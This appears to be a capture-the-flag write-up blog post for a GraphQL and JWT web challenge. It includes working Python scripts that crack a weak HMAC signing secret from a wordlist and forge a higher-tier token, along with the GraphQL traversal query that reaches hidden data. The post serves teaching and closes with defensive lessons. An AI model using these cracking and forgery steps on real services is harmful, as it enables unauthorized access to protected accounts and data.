DEV Community

Cover image for Iceman - dalCTF 2026
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

Iceman - dalCTF 2026

Flag: dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}

Category: Web / GraphQL / JWT


Overview

A music-themed GraphQL API protected by JWT-based tier access control. The goal was to escalate from a fan tier account to OVO membership in order to read the vaultManifest field on an unreleased album.


Step 1 - GraphQL Introspection

With introspection enabled on the target, the full schema was enumerated:

{ __schema { types { name fields { name } } } }
Enter fullscreen mode Exit fullscreen mode

Discovered types: Query, Mutation, AuthPayload, User, Label, Artist, Album, Track

Key queries:
| Query | Notes |
|---|---|
| me | Returns current user's username and tier |
| releasedAlbums | Auth required |
| album(id) | Auth required |
| label(name) | Traverses label → artists → albums |

Key mutations: register(username, password), login(username, password)


Step 2 - Account Registration & JWT Analysis

Registering a test account:

mutation {
  register(username: "test", password: "test") {
    token
  }
}
Enter fullscreen mode Exit fullscreen mode

Returned JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs
Enter fullscreen mode Exit fullscreen mode

Decoded payload:

{ "username": "test", "tier": "fan" }
Enter fullscreen mode Exit fullscreen mode

Querying protected endpoints with this token returned:

"OVO membership required. Fan accounts do not have vault access."
Enter fullscreen mode Exit fullscreen mode

This confirmed tier-based access control — tier: "OVO" was needed.


Step 3 - Attack Surface Assessment

alg:none bypass — attempted with multiple tier values (OVO, admin, premium). All rejected with "Authentication required." — the server enforces signature verification.

Register with tier argument — rejected:

Unknown argument 'tier' on field 'Mutation.register'
Enter fullscreen mode Exit fullscreen mode

The only viable path: crack the HMAC secret and forge a valid signed token.


Step 4 - JWT Secret Cracking

Using Python's hmac + hashlib to test a CTF-themed wordlist against the original token's signature:

import hmac, hashlib, base64

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs"
header_payload = ".".join(token.split(".")[:2])
orig_sig = token.split(".")[2]

def b64url_decode(s):
    s += "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

orig_sig_bytes = b64url_decode(orig_sig)

wordlist = ["OVO", "ovo", "secret", ..., "dalctf", "iceman", ...]

for word in wordlist:
    sig = hmac.new(word.encode(), header_payload.encode(), hashlib.sha256).digest()
    computed = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    if computed == orig_sig:
        print(f"[+] SECRET FOUND: {word}")
        break
Enter fullscreen mode Exit fullscreen mode

Result:

[+] SECRET FOUND: iceman
Enter fullscreen mode Exit fullscreen mode

The challenge name itself (iceman) was the JWT signing secret.


Step 5 - Forging an OVO-Tier Token

import hmac, hashlib, base64, json

SECRET = "iceman"

def b64url(data):
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',',':')).encode()
    ).rstrip(b'=').decode()

header  = b64url({"alg":"HS256","typ":"JWT"})
payload = b64url({"username":"test","tier":"OVO"})
sig = hmac.new(SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{base64.urlsafe_b64encode(sig).rstrip(b'=').decode()}"
print(token)
Enter fullscreen mode Exit fullscreen mode

Forged token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiT1ZPIn0.k3GYap8NGpMaEsiaG36u85UuHUux5hJVXD5IxckrOjk
Enter fullscreen mode Exit fullscreen mode

Verified with me query:

{ "me": { "username": "test", "tier": "OVO" } }
Enter fullscreen mode Exit fullscreen mode

Step 6 - Accessing the Vault via Label Traversal

releasedAlbums only returned IDs 1 and 2, both with vaultManifest: null. Brute-forcing album IDs 0–20 directly also yielded nothing.

The key was traversing via the label relationship, which exposed unreleased albums not returned by releasedAlbums:

{
  label(name: "OVO") {
    name
    artists {
      name
      albums {
        id
        title
        status
        vaultManifest
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "label": {
    "name": "OVO",
    "artists": [{
      "name": "Drake",
      "albums": [
        { "id": "1", "status": "RELEASED",   "title": "For All the Dogs",    "vaultManifest": null },
        { "id": "2", "status": "RELEASED",   "title": "Some Sexy Songs 4 U", "vaultManifest": null },
        { "id": "9", "status": "UNRELEASED", "title": "ICEMAN",              "vaultManifest": "dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}" }
      ]
    }]
  }
}
Enter fullscreen mode Exit fullscreen mode

Flag

dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}
Enter fullscreen mode Exit fullscreen mode

Attack Chain Summary

Introspection → Enumerate schema
      ↓
Register → Get fan-tier JWT
      ↓
Identify tier-based access control
      ↓
alg:none rejected → must crack HMAC secret
      ↓
Crack secret: "iceman"
      ↓
Forge valid JWT with tier="OVO"
      ↓
label(name:"OVO") traversal → exposes UNRELEASED album id=9
      ↓
vaultManifest → FLAG
Enter fullscreen mode Exit fullscreen mode

Key Takeaways

  • GraphQL introspection in production leaks the entire schema including sensitive field names like vaultManifest.
  • Weak JWT secrets (especially ones matching the challenge/app name) are trivially crackable with a small wordlist.
  • Authorization logic gaps - the label → artists → albums traversal bypassed the access controls on releasedAlbums and album(id), exposing unreleased content.
  • IDOR via graph traversal - album ID 9 was invisible to direct queries but reachable through the label relationship.

Top comments (0)